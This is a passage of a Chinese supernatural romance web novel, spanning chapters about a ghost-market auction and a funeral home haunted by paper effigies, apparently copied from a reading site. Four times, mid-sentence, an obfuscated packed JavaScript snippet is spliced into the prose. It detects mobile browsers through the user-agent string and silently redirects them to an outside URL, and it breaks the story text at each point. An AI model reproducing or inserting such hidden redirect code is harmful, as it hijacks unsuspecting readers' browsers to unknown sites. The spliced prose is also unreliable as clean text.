“扎彩匠的传承向来不外传。”林知夏离铜镜又近了些,她发现那些纸人的衣襟处都用朱砂写着生辰八字,有些迟疑,“怎么还写着八字的?这些八字不会是活人的吧?” 宴清指尖轻点镜面,幽冥火在琉璃镜中烧出缕青烟,他好似接收到什么信息,片刻后眉梢微挑,跟林知夏分享八卦,“光绪二十三年,京城白事铺子出过桩奇案。有个扎彩匠接下活计要给贝勒爷扎三十六对童男童女送葬,结果头七那夜这些纸人全活了,生生将贝勒府三十八口人吊死在房梁上。” 铜镜忽然泛起涟漪,镜中纸人的眉眼好似活了般愈发鲜活诡谲。林知夏后背窜起一股凉意,腕间龙骨镯应激般收紧:“所以这妆奁……” “正是那桩案子的祸首。”宴清执起竞拍木牌,玄色衣袖扫过她发梢,“娘子可要?” 林知夏对扎彩匠这职业有些好奇,可惜人家这行业比较故步自封,不拜师门根本接触不到其中的原理。她肯定是好奇的,宴清问了,就也没推辞,点头说要,顿了顿,又按住他手腕,“超过三碗孟婆汤就不要了。”150个W,不少了。 她虽然好奇,但也不想做冤大头。三碗其实都说多了, 宴清唇角微扬,“娘子放心。” 最终这件扎彩匠的妆奁以三碗五两孟婆汤成交。侍女捧着妆奁进来时,林知夏特意拿纸垫着鲁班尺轻轻敲了敲妆奁,毕竟她新拍下的这柄尺子同样出自扎彩匠。 都是扎彩匠的手笔,万一搁一块产生什么化学反应呢,对吧? 虽有些异想天开,但也不是不可能。 然后奇迹真的出现了!当尺面殄文触及妆奁锁扣时,妆奁盒身竟然渗出了暗红血渍。 “血咒。”宴清并指用幽冥火烧去血迹,沉吟片刻道,“这锁扣里应封着扎彩匠的指骨,娘子要现在打开么?” 林知夏一点都不怀疑他话中的可信度。 很早以前她就发现了,宴清可以通过幽冥火回溯时间,虽然不知道原理是什么,宴清也没有明明白白的和她讲过,但也没特意隐瞒这事,所以一般他讲什么,她基本都会信个七七八八。 这次也是,听到妆奁里还有根人骨头,立马嫌弃的连忙摇头,将妆奁推远些:“等回去用朱砂符镇过再说。” 接下来的拍品基本都是些阴邪之物,林知夏看得兴致缺缺。宴清倒是拍下对唐代的黄金臂钏,说是要熔了给她打支发簪。 林知夏:“………”你花的这钱在金店够买多少黄金了!!! 直到第二十件拍品呈上,整座阁楼再次弥漫起浓郁的味道,上次是镇魂炉的松香味,这回则是檀香味。 “压轴之物——”老妪嗓音陡然尖利,枯爪掀开绸布的刹那,挂在楼下两侧的十二盏灯笼齐齐炸出磷火,“明嘉靖年间龙虎山天师亲绘的《百鬼夜行图》!” 林知夏的罗盘在蹀躞带下疯狂震颤。 只见那展开的绢帛上,数千阴兵策马踏过忘川,领头鬼将的面具与晏清腰间一直佩戴的青铜鬼面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305330|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如出一辙。画卷右下角则钤着方“玄冥”朱印! “娘子。”宴清忽然握住她沁汗的掌心,“这幅画——” “买它!”林知夏反手扣住他腕间龙纹,她声音小小的跟他耳语,“墨玉戒在发烫,这画绝对和龙骨有关。” 宴清眼中染上笑意,“娘子与我不谋而合。” 林知夏有点激动,自从在黄河第三道弯得到龙爪后,他们就断了关于龙骨的线索,之前还信誓旦旦觉得老天都站在他们这边,就算不出门关于龙骨的线索也会源源不断自动送到跟前来,结果……呵呵,打脸了。 现在!终于!线索又来了! 开森! 竞拍声此起彼伏,忘川水的叫价已经高达101碗!101碗!多少个亿啊!结果叫价还在攀升,当价格攀升至120碗时,宴清忽然轻笑:“有些东西,还真是不到黄河心不死。” 林知夏知道他指的是谁。刚刚她就透过窗棂缝隙往外瞧过了,二楼天字厢房没那么注重隐私,人家窗棂大开,只用一道竹帘阻挡视线,透过竹帘,隐约可见里面有道佝偻的身影。 要是没记错,刚刚那个坑了她的情蛊尸好像就是那边厢房的主人买下的。 讲真,人家也挺豪的,估计跟她家鬼君比起来,资产可能半斤八两? 刚这样想,就听到身边传来新的报价。 “十桶。”宴清漫不经心叩响竞拍木牌。 林知夏:“……………” 整座阁楼死寂片刻,突然炸开窃窃私语。老妪的人皮鼓敲得震天响,“十桶忘川水!恭喜贵客!” 侍者捧着画卷走来时双腿都在打颤。 林知夏主动接过,等侍者离开,她迫不及待展开画轴细看,价值十桶忘川水的《百鬼夜行图》,可驱使千人阴兵为己所用的《百鬼夜行图》! 近看更加精妙绝伦,线条之间仿佛有种无法形容的古韵在里面,显得那样高深莫测,令人不由自主的想要将它供起来,别说亵渎,但凡少一点敬畏之心感觉都是对这幅画的不尊重。 林知夏看得目不转睛,还是宴清在她面前打了个响指,她才好似突然回神,眨眨眼,“我刚刚是不是被这画蛊惑了?” 宴清从她手中接过画,语气随意,“娘子修炼,还需努力。” 林知夏:“………” 她眼尾没忍住又扫向了《百鬼夜行图》,见宴清将目光放在一名鬼将身上,表情似有些怀念,不由好奇问,“这是……” “为夫当年的旧友。”宴清看着画中阴兵,淡淡浅笑,“他为唐时将,为人豪爽仗义,那时我……” 话未说完,画中鬼将突然睁开猩红双眼。林知夏腕间疏忽发出一阵青光,画中有暗金纹路顺着掌心没入宴清心口。整幅《百鬼夜行图》无风自动地悬浮半空,阴兵铁骑踏破绢帛而出,却在触及幽冥火的瞬间化作青烟消散。 铜镜中的血海翻涌如沸,楼下传来三声铜锣响,拍卖师沙哑的嗓音穿透槅扇传来:“亥时三刻,闭市——” 26. 纸人送葬(一) 拍卖会结束,楼下传来此起彼伏的锁链拖曳声,整座阁楼正在虚化消散。林知夏被晏清揽着腰肢旋身退出西市。朱雀大街的喧嚣如潮水褪去,老宅厢房的沉水香漫过鼻尖,案头铜炉青烟尚未散尽。 阴阳镜嗡鸣骤响,水银雾霭裹着两人倒卷而出。林知夏跌坐在黄花梨圈椅里,掌心还攥着那幅价值十桶忘川水的《百鬼夜行图》。宴清广袖翻卷扫过镜面,刚刚还翻腾如海的镜子霎时安静下来,重新恢复普通铜镜模样。 林知夏顾不上别的,先扯住宴清的左手一边检查一边问,“刚刚从画里是不是有什么东西进入你身体里了?!你现在感觉怎么样?有没有哪里不舒服?”又喃喃,“鬼应该不能上鬼的身吧?” 宴清闻言好笑,“娘子莫急,为夫无事。”他顿了顿,似有感慨,“进入我体内的是一缕龙魂。” 林知夏很震惊,“龙魂?” 宴清颔首,“我那好友将其封印于《百鬼夜行图》中,也是难为他了。” 林知夏想起在拍卖场时他未说完的话,“那他现在……” “已重入轮回,投胎去了。”宴清将《百鬼夜行图》卷轴收入袖中,“待我重塑肉·身,定要到冥府问出他的去向。” 林知夏:“你之前说他是唐时将——” 宴清:“他为唐时将领,战死于沙场中,死后煞气冲天,领着他的那些将士在冥府历经一番波折成为一方小小鬼王。我与他相识时还是一头蛟,我们不打不相识,但他为鬼,我为蛟,我实没想到他会为我与人间术士斗法,不惜元气大伤抢回我一缕龙魂,以至不得不重入轮回,受尽七情之苦。” 林知夏头一次在宴清的身上看到‘感伤’的情绪,他金眸暗淡,鎏金瞳孔中似有星河流转,倒映着无数光阴里那些来不及言说的憾事。 想到做下这一切前因后果的人间术士领头人是她祖宗,林知夏就尴尬的不行。心里对那位不得不重新投胎的鬼将军深表歉意。 她讷讷的地握住他冰凉的手,指根并蒂莲纹微微发烫,犹如她此时的决心,“我一定帮我找齐龙骨,也会陪你去冥府问个明白。” 晏清反手将她指尖拢入掌心,垂眸时银发扫过她腕间龙骨镯:“娘子可知,重塑·肉·身后第一件事要做什么?” 林知夏心说总不会是先杀了我吧? 她其实是做好了最坏打算的,不管宴清以后会不会卸磨杀驴,她都把最糟糕的结果想到了。但这话这时说出来就过了,除了会让他们之间关系变得特别微妙,没有任何意义。 而且她很清楚,他想听的也绝不是这类扫兴的答案。 于是林知夏说,“重塑·肉·身后肯定先去天上飞一飞,再去海里游一游……吧?” 宴清好气又好笑弹了下她脑门,却没有继续这个话题,“罢了,忙碌许久,娘子歇息吧。” *** 可不该歇了。 从昨晚九点多到现在夜里差不多快十点,前后二十四个小时没睡觉,要不是事先和家里佣人做了交代,林知夏都担心张婶他们找不到她就报警了。 说实话,在西市她真没觉得有待这么久,哪知道出来一瞧时间,一天一夜过去了! 不过能从一场拍卖会带回一枚龙鳞,一缕龙魂,这一趟西市之行真没白跑。 一夜好眠。 隔天一早,林知夏吃过早饭就开始用朱砂笔蘸着雄黄酒,在鲁班尺上补画镇煞符。从鬼市带回的扎彩匠妆奁摆在八仙桌中央,楠木盒盖上的琉璃镜倒映着窗外飘落的槐叶,镜面时不时闪过细碎血光。 妆奁里的指骨和血咒已经被幽冥火烧成渣渣,晏清倚在雕花槅扇前,玄色鹤纹长衫的暗金云纹与琉璃镜中的血光交相辉映,“娘子可要试试点睛术?” 林知夏笔尖微顿,黄铜罗盘在妆奁旁突然震颤起来。镜中三十六对袖珍纸人竟齐刷刷抬起手臂,朱砂写的生辰八字在烛火中泛着诡谲红光。她反手将镇煞符拍在镜面,“三碗孟婆汤买回来一堆祖宗,脾气都还挺大!” 宴清指尖一个响指,幽冥火的幽幽蓝光泛出危险色泽,“娘子若不喜,烧了就是。” 他话音刚落,将将还气势汹汹的三十六对小人纷纷瑟瑟发抖起来,有的还很人性化的嘤嘤两声,林知夏无奈的看宴清一眼,“一百五十万我可舍不得烧。” 宴清:“娘子无需省钱,这点钱为夫还是玩得起的。” 林知夏哄他:“主要这是你送我的,非必要我还是想留下做个纪念。” 宴清唇角似有若无的微微勾起,“既如此,就先依娘子。”他捂嘴打个呵欠,看上去懒洋洋的,林知夏和他认识这么久,还是头一回见他打呵欠,有点儿新奇还有点担心,“你……没事吧?” 宴清摆手,“无事,龙魂入体还未完全吸收,我去歇歇,娘子有事喊我。” 林知夏看着他渐渐隐去的身影,正要继续手里的活儿,手机来了电话,是将阴阳镜寄放过来的古董店陈老板。 她接通,那边陈老板小心翼翼问起他的镜子,“林大师,我那镜子驱邪驱好了吗?” 林知夏:“镜子已经封印,十年内不会再起幺蛾子。” 陈老板:“十年?!”他有些不满意,“林大师,您看能不能彻底解决,钱不是问题。这镜子是我花大价钱收的,卖出去也不会便宜,但我不想十年后客人来砸我的招牌。” 他家三代都是做古董生意,铺子在业内颇有名气,是准备做大做强的,接触的也都是非富即贵的人物。十年听起来时间挺长,可他家店面也不止做十年啊,这万一十年后因为镜子出了什么事,那些大人物他可得罪不起。 林知夏,“不瞒你说陈老板,这镜子不是普通古董,十年为一周期,我也没办法,要不这样,你这镜子准备多少钱卖,我花钱买了,我还挺想把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311212|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这镜子拆了研究研究的。” 陈老板:“………” 陈老板倒是不怀疑林知夏为了趁火打劫故意使绊子。他跟林家打交道很多年了,林知夏爸爸以前年轻时他们还一起喝过酒。做古董这一行谁没遇见过怪事,林家每每都帮他解决了麻烦,不会在这一桩事上玩心眼,人家林家也不缺这点钱。 虽然林家现在只剩下林知夏一个年轻女孩子,但他是不敢小瞧林家人的。 想了想,陈老板说,“我打电话过来,一是为了镜子,二是有件事想请林大师帮忙,林大师要是能帮这个忙,那面镜子就当谢礼送给林大师了。” 林知夏这阵子伤早养好了,帮个忙就能换个唐时的阴阳镜,那太划算了。不是她要瞒着陈老板阴阳镜的来历,主要这镜子对普通人来说没什么用,说它可以镇妖邪,但要有九面阴阳镜组成阵法才能发挥作用,一面镜子的话用处实在有限,又历经千年不复旧日时光,这镜子现在除了方便出入鬼市,别的用处真心不大,还容易引煞气,对家宅不好。 心里有了打算,林知夏却不会拿大,她谨慎的说,“麻烦陈老师先说说什么事。” 陈老板:“是这样林大师,我老婆娘家兄弟去年接了一家私人的殡仪馆,原本一切顺利,生意还算兴隆,但从上周开始,馆里就不太平,前天晚上馆里给一家寿终就寝的老太太送葬的纸人突然活了,还、还差点掐死守夜的师傅!” *** 城西殡仪馆的玻璃幕墙在秋阳下泛着冷光,林知夏隔着车窗,看见院中那株百年槐树的影子正诡异地指向殡仪馆正门——堪舆学中这叫“吊客临门”,主大凶之兆。 就这风水,它能好了才怪了! 林知夏站在仓库门口观察那些纸扎人,宴清依然隐匿的身形跟在她身边。 原本她想自己来的,毕竟这两天他因为要吸收龙魂的原因状态一直不太好,林知夏不太想他跟着奔波。但宴清不愿意,非要跟,那他不听劝,林知夏那他也没辙,只能听之任之。 仓库里的纸扎童男童女堆在墙角,金箔裱糊的面孔被前两天的雨水泡得发胀,腮红晕染成诡异的紫斑,显得诡异又可怖。 只看这些,还真看不出有多凶。林知夏大致在殡仪馆转了转,就在陈老板小舅子的指引下去了监控室。 “这是第七次了。”陈老板小舅子擦着汗指向监控屏幕,“凌晨三点十七分,停尸间的纸人会集体转头看向摄像头。” 高清画面里,童男童女惨白的脸颊泛起诡异红晕。林知夏注意到纸人手中捧着的金元宝正在融化,暗黄色纸浆顺着指缝滴落,在地面汇成七芒星的形状。 “七星借阴局。”晏清修长手指隔空点向监控画面某处,“看这里。” 画面边缘的招魂幡无风自动,幡尾的白色带子在某个瞬间仿佛有了生命般如七芒星向七个方位招展,又在一瞬极快的恢复正常。 27. 纸人送葬(二) 槐树投下的阴影将殡仪馆落地窗切割成大大小小的碎片,林知夏视线从监控上移开,她走到窗前,指尖拂过玻璃幕墙的钢化涂层,眼尾一扫,发现了什么。刚要回头,晏清玄色衣袖已经卷住她的手腕,“别动。” 冷玉般的掌心贴上后颈,林知夏感觉有股寒流顺着脊椎蔓延。监控画面中那些融化的金元宝在窗玻璃的倒影里还是完整的,暗黄色纸浆依然是元宝的样子在纸人掌心。 玻璃的影像与监控视频竟然是不同步的,一个快一个慢。 这很匪夷所思。 “倒影比实物慢半刻钟。”晏清瞳孔映着玻璃幕墙后的槐树,“这殡仪馆的镜子都被动过手脚。” 陈老板的小舅子王经理擦着汗凑过来,“林大师,这镜子是德国进口的……” “镜面涂过尸油。”林知夏用银针挑起窗框缝隙里的黑垢,针尖顷刻覆满白霜,“至少是横死之人的尸油。” 王经理吓得倒退两步,后腰撞上不锈钢垃圾桶发出哐当巨响。这动静惊得停尸间方向传来窸窣声响,像是纸页摩擦又像是指甲划拉金属的动静。 监控室离停尸间那么近,这布置也是挺有新意。 林知夏反手甩出三枚五帝钱钉住东南角,“刚才我在仓库看到的纸扎是监控上那一批吗?” 王经理忙说不是,“这些纸扎太邪门了,我没敢乱放,全部单独收到另一个仓库里了。” 林知夏:“那王总先带我们看看出事那批纸扎吧。” 仓库铁门推开时带起股阴风,叠成小山的纸人齐刷刷转向门口。林知夏的罗盘疯狂震颤,黄铜磁针在“坤”位直接渗出冰晶。 这个方位本该主土,土为暖,此刻却阴寒刺骨。 “纸人点睛用的是尸蜡。”晏清隐着身形先一步踏入,他脚踩满地金箔,幽冥火凝成的手挑起一个纸人下巴,“你们从哪找的扎彩匠?” 这话王经理当然听不见,林知夏直接转述。 王经理扶着门框不敢进来,他哆哆嗦嗦的说,“是、是老城区谢瘸子……” 话音未落,最近那对童男童女突然裂开猩红嘴角。林知夏眼疾手快甩出墨斗线缠住纸人脖颈,线头却在触及金箔领口的瞬间燃起青烟。晏清广袖翻卷扫落她手中墨斗,幽冥火顺着丝线烧成火龙,“退后!” 纸人腹腔突然炸开,数百只赤红甲虫如血瀑倾泻。林知夏被晏清拽进怀里旋转着避开虫潮,鼻尖撞上他胸前暗金云纹,龙涎香混着幽冥火的沉水香直冲脑门。混乱中听到他在耳畔低笑:“娘子投怀送抱的时机倒是巧妙。” 林知夏:“……” 林知夏无语的翻个白眼,小声说,“这时候还开玩笑!”挣出他的怀抱,桃木剑劈开扑来的甲虫。虫尸落地即化作腥臭黏液,渐渐在地面汇成七芒星状。 晏清扫了一眼,并指在虚空一划,幽冥火凝成的青龙盘踞屋顶:“七星借阴局要成了,娘子可愿陪为夫跳支往生舞?” 林知夏头疼:“说人话!” “踩我影子。” 林知夏差点被这冷笑话噎住,踩影子就踩影子,还往生舞? 胡旋舞那三十六圈是转上瘾了是吧! 刚要吐槽,就见晏清玄色衣摆突然延伸出七道阴影,精准覆盖上地面七星。她也不耽搁,抬脚踏着罡步踩过每处星位,墨玉戒随着步伐亮起青光。当最后一步落在天枢位时,整座仓库的地砖突然如波浪翻涌。 “鲁班尺!”晏清提醒。 林知夏立即从腰后抽出拍卖会得来的雷击枣木尺,尺面殄文触及地面的刹那,地砖缝隙中很快渗出暗红血渍。那些血珠违背重力悬浮在半空,逐渐拼成“谢九”二字。 “谢瘸子本名谢九?”林知夏用玻璃瓶接住血珠,转头问退到仓库十米外的王经理,“王总,这个谢九的店面具体在哪知道吗?” 王经理早吓得面无人色,“在、在城西精神病院……” 林知夏狐疑的看他一眼,“精神病院?” 王经理深吸口气,语气尽量平稳的解释说,“他、他虽然脑子有点不正常,但手艺很好,我也是经人介绍找上他的,我们合作很多回了,一直没出过幺蛾子。” 林知夏心说,只怕事情没那么简单。 ** 精神病院围墙爬满枯藤,铁门锈迹斑斑如凝固的血痂。林知夏望着三楼某扇焊着铁条的窗户,“阴气聚顶,死门大开,这地方比殡仪馆还凶。” 晏清把玩着从殡仪馆顺来的纸人手臂,“娘子可闻到臭老鼠味?” 林知夏:“是挺难闻的,但是不是死老鼠我可闻不出来。” 她话刚说完,突然被宴清拽进了旁边树丛。晏清张开结界,幽冥火在身周凝成屏障。只见两个护工推着担架车从后门出来,白布下伸出的手赫然长着寸许长的黑指甲。 护工推着担架车拐过墙角时,枯叶在车轮下发出令人牙酸的碎裂声。林知夏屏住呼吸,看到白布下露出的手腕布满暗紫色尸斑,她立即意识到这具尸体至少停放半月有余。 “殡仪馆跑出来的?”她无声比着口型。说完又觉得不太可能,现在都什么年代了,尸体管控不可能这么松散吧? 但要是有非科学掺和在里面,好像也不是不可能。 晏清鎏金瞳孔泛起幽光,手指在她发旋轻轻扫过,“娘子不妨猜猜,这担架车要往哪去?” 林知夏:“……”好吧,她关注点错了。 担架车最终停在精神病院不远处的废弃喷泉池前。两个护工机械地抬起尸体抛入池中,溅起的水花竟泛着暗绿色荧光。林知夏的罗盘在挎包里疯狂震颤,指针死死钉在“坎”位渗出霜花。 “他们在养水煞!”她掏出手机就要拍照,晏清握住她手腕,“仔细看池底。” 林知夏听话的踮脚去看,下一瞬一面火镜出现在眼前,镜中映出废弃喷泉池的全景。只见荧光水波中浮现出密密麻麻的纸人残肢,每个纸人胸口都钉着枚青铜镇魂钉。方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314792|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才抛下的尸体则正被纸人残肢缠绕着沉入池底,水面很快恢复平静。 “七星借阴局要借七具横尸。”晏清指尖凝出幽冥火蝴蝶,“看来这精神病院,藏着位懂行的。” 林知夏刚要开口,从精神病院那栋楼里突然传来重物坠地的闷响。幽冥火镜画面一转,从镜中可以看到焊着铁条的窗户后闪过一道佝偻的身影,那道身影的主人双手抓着铁栏杆在屋子里疯狂摇晃,嘶哑的吼声刺破暮色:“跑!快跑!纸人……纸人要索命了!” 他这喊声,也不知道在提醒谁。 “是谢九!”林知夏认出那人缺了中指的左掌——王经理说过谢瘸子年轻时被纸铡刀削去了手指。 铁窗撞击声惊动了护工,两人推着空车朝楼里跑去。晏清揽住林知夏的腰腾空跃起,玄色鹤纹长衫扫过爬满枯藤的外墙,稳稳落在那扇铁窗前。 林知夏直接现身。 谢九布满血丝的眼睛突然瞪大,他抓着铁栏的手青筋暴起:“林家女?你是林家人!”视线扫过她无名指的墨玉戒,喉咙里发出困兽般的呜咽,“完了……都完了……” 林知夏有听没懂,“谢师傅知道我要来?”她将鲁班尺抵在铁栏缝隙,“殡仪馆那些点睛的纸人……” “点睛?”谢九突然癫狂大笑,残缺的手掌拍得铁栏哐哐作响,“我哪敢给纸人点睛!是它们自己长出了眼睛!”他猛地扯开病号服,胸口赫然趴着个巴掌大的纸人,纸面眼眶里嵌着两颗浑浊人眼! 林知夏倒吸冷气。那纸人竟与谢九的皮肉融为一体,血管如红线缠绕在金箔裱糊的四肢上。晏清并指划开虚空,幽冥火凝成的刀刃抵住纸人天灵盖,"谁给你种的替身傀?” 林知夏再次转述。 ”报应……是报应……”谢九突然安静下来,浑浊的泪混着血水滑落,“当年前我帮钱家老爷子换命格,现在该还债了……” 林知夏与晏清对视一眼,在对方眼中看到同样的凝重。钱家双子煞的因果竟在此处续上了! 这也太巧了。 “钱家和你这些纸人的异常有什么关系?王经理的那家殡仪馆最近怪事频发是不是和你有关?是你受益纸人袭击殡仪馆的看守人?” 谢九却不答她,他只是神经质的重复“报应……报应……” 林知夏蹙眉,王经理说这个谢九脑子不正常,刚才她真没看出来,交谈时感觉人家思维挺清晰的,说的话也表述的清楚明白,一度让她以为他在这家精神病院只是个幌子。 但现在看,得,这人脑子是有点不正常,疯疯癫癫的,也不知道受过什么刺激。 他不正常,这家死气沉沉的精神病院也不正常。 还有钱家……钱家事明明已经了了,她跟她二师兄也是这么信誓旦旦说的。 现在重新牵扯出来,感觉不太妙。 林知夏开始考虑要不要找陈老板重新谈谈薪酬问题。 总感觉继续查下去,自己有点陪啊! 28. 纸人送葬(三) 腹诽归腹诽,现在想要撂挑子估计也不行了。 看着眼前依然在重复着“报应……报应……”的谢九,林知夏有点发愁,原本以为只是简单的殡仪馆闹鬼,结果,呵呵! 精神病院的铁窗在暮色中泛着暗红锈迹,正不知道下一步怎么整,谢九胸口的纸人在这时突然撕开皮肉跃向林知夏。晏清衣袖翻卷带起幽冥火墙,金箔裱糊的纸人在火焰中扭曲成焦黑人形,最后同样逃不开渣渣的命运。 林知夏配合娴熟的甩出五帝钱钉住谢九眉心,看他反应,再看他已经空了的胸口,蹙眉,“这不是普通替身傀!” 普通替身傀媒介若死,被附身的载体不死也要脱层皮,谢九却像没事人似的,不说活蹦乱跳吧,但好像对他也没多大影响。 适时,整栋楼的窗户同时炸裂。数十个纸人踏着玻璃碎片涌向天台,每个都生着与谢九之前的替身傀相同的浑浊眼珠。林知夏的罗盘在挎包里发出尖锐嗡鸣,不老实的扑腾起来,想要脱离挎包飞出干架的心是如此的昭然若揭。 林知夏拍拍挎包,“别闹!” 晏清揽住她腰肢腾空而起,玄色鹤纹长衫扫过天台边缘:“娘子可记得《鲁班经》中的‘以形补形’?" “你是说……”林知夏突然想起什么,“扎彩匠用活人精血养纸傀!” 指尖掐诀点在雷击枣木尺上,尺面殄文应声亮起青光,原本隐匿无形的血管在鲁班尺的青光下无所遁形,这些纸人的腹腔中竟然都蠕动着状似活人的血管!而血管如绵绵细绳,与楼下喷泉池中的尸骸相连,在暮色中织成张猩红蛛网。 谢九癫狂的笑声穿透铁窗:“二十年!我等了二十年!钱家该还债了!” 林知夏心说这人一会儿说报应,一会儿又说钱家该还债了,那所以,他是受害者还是加害人? 幽冥火凝成的青龙俯冲而下,宴清瞳孔泛起冷意:“当年他与钱家合谋换命,如今倒成了苦主?” 林知夏闻言一怔,对呀,从谢九的只言片语中传递的信息可不就是狗咬狗一嘴毛!谁都不无辜!他们任意一方都是加害者! 目前看谁最无辜? 陈老板的小舅子王经理最无辜啊!人家好好的殡仪馆现在闹鬼闹的,都快开不下去了! 林知夏转述了宴清的话,想看看谢九什么反应。 “当年我不过取他半条命!”谢九残缺的左手完完整整撕开病号服,露出满身缝合线,“可他竟将我制成活人傀!” 林知夏刚想问这个“他”是谁,楼下喷泉池突然炸开冲天水柱。七具裹着金箔的尸骸悬浮半空,每具心口都钉着青铜镇魂钉。林知夏的墨玉戒骤然发烫,戒面莲纹直指东南方,然后她发现,就在斜对面不起眼的一面墙上,赫然镶嵌着一面等人高的镜子,镜中此时倒映的……是钱家老宅的祠堂! “移花接木。”晏清冷笑,指尖幽冥火化作长弓,“用七具横死之尸做阵眼,自作孽!” 林知夏也觉得他们是自作孽。 东南方的镜子突然映出钱辰惊恐的脸。青年正跪在祠堂给先祖上香,香炉中升起的青烟竟与尸骸周身的金箔产生共鸣。 纸人腹腔的血管骤然绷直,喷泉池水逆流成七道水龙卷,裹挟着尸骸扑向镜子。 若扑成功,钱辰必死。 虽然钱家气运已尽,但钱辰不该这样死! 晏清反手将林知夏护在身后,幽冥火弓弦拉满:“闭眼。” 箭矢离弦的刹那,整片黄昏的天空被照得亮如白昼。 轰然巨响中,幽冥火与尸骸相撞迸发出刺目金光。林知夏的罗盘终于脱离讨厌的挎包飞到半空,黄铜磁针在虚空拼出“因果”二字。 因果…… 她明白过来——这些尸骸,分明是钱家血脉! 他们不是主家,却一定和钱家沾亲带故! “以血亲为祭……”林知夏很烦躁,“疯了吧!” 回应她的是谢九愈发癫狂的笑声。这个头发花白的扎彩匠突然撕开不知何时又覆上的胸口纸人,露出里面跳动的暗红心脏:“二十年!我成为活人傀二十年!钱家必须断子绝孙!” 桃木剑突然发出清越剑鸣,林知夏咬破指尖在剑身画出血符:“天地玄宗,万炁本根——破!” 剑光斩断尸骸与铜镜的链接瞬间,钱辰的惨叫从镜中传来。青年捂着心口栽倒在祠堂,暗红血渍顺着指缝渗入青砖缝隙,看上去凄凄惨惨,但这条命却是保住了。 晏清忽然轻笑:“娘子这般心软,可不像玄门中人。” “玄门术法不是用来虐杀的。”林知夏反手将桃木剑钉入天台,二十八宿镇煞阵青光冲天而起,东南方与此同时传来什么东西碎裂的声音。谢九癫狂的表情凝固在脸上,胸口纸人无火自燃,露出心口另一侧暗青色的“借”字。 “借命契?”林知夏也是服了,“他把自己的命格……” “与钱家绑在一起了。”晏清抬手抚平她蹙起的眉心,“真是……愚不可及。” 仿佛印证他的话,谢九突然开始剧烈抽搐。那些连接尸骸的血管寸寸断裂,喷泉池水倒灌进精神病院地下室,裹着陈年符纸的腥臭扑面而来。 谢九已经废了,现在不死也命不久矣。 林知夏拽住晏清手腕:“咱们去地下室瞧瞧!” 潮湿的霉味混着尸臭令人作呕,晏清脚踏幽冥火,揽着林知夏站在地下室中央位置。幽冥火照亮的墙壁上画着密密麻麻的符咒,林知夏的龙骨镯突然收紧,镯身龙纹直指尽头那扇贴满黄符的铁门。 走近,伸手过去,晏清直接按住她的手,“怎么还改不了乱摸乱碰的毛病!” 林知夏:“……” 她讪讪,宴清打个响指,幽冥火从淡蓝变为深蓝色,火光映照下,铁门把手上的缕缕青丝分毫毕现。这些发丝在火光中泛着诡异光泽,看上去就不是什么好玩意儿。 宴清:“未足月婴孩的胎发。” 林知夏一阵恶寒。 “谢九在这养小鬼?”她后退半步,“不对……这是……” 晏清将她拽进怀里,玄色衣袖卷起幽冥火墙。铁门在巨响中轰然洞开,十二对纸扎童男童女捧着长明灯飘然而出。每盏灯芯都燃着暗绿色鬼火,映出墙上那些符咒的真实模样——竟是用血写成的生辰八字! “钱家血脉的命格。”晏清冷笑,“难怪能瞒天过海。” 林知夏:“我就说上次钱家双子煞咱们解决的挺圆满的。”像这种因外因,就不是她的锅了。 突然想起什么,从挎包翻出在殡仪馆取的血珠。玻璃瓶中的血渍正在沸腾,逐渐凝成钱家族谱的图腾。 “用钱家血脉养煞,这局倒是布得精妙。”晏清指尖燃起簇幽冥火,“可惜——” 他忽然将火光按进自己心口,在林知夏的惊呼中扯出缕暗金龙气。龙气没入铁门的刹那,整面符咒墙开始剥落,露出墙后七口黑漆棺材。 “七星续命棺。”林知夏倒吸冷气,“他想给谁续命?” 最中央的棺盖突然炸开,腐臭黑雾中坐起个穿中山装的老者。林知夏的桃木剑发出蜂鸣——这竟是钱老爷子! 哎,不对啊,钱老爷子的魂魄被宴清送给他那个二儿子了! 林知夏突然注意到老者脖颈的缝合线,了然,“是活尸!” 活尸只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331846|166151||http|test|mini|href|location''.split(''|''),0,{})); () { 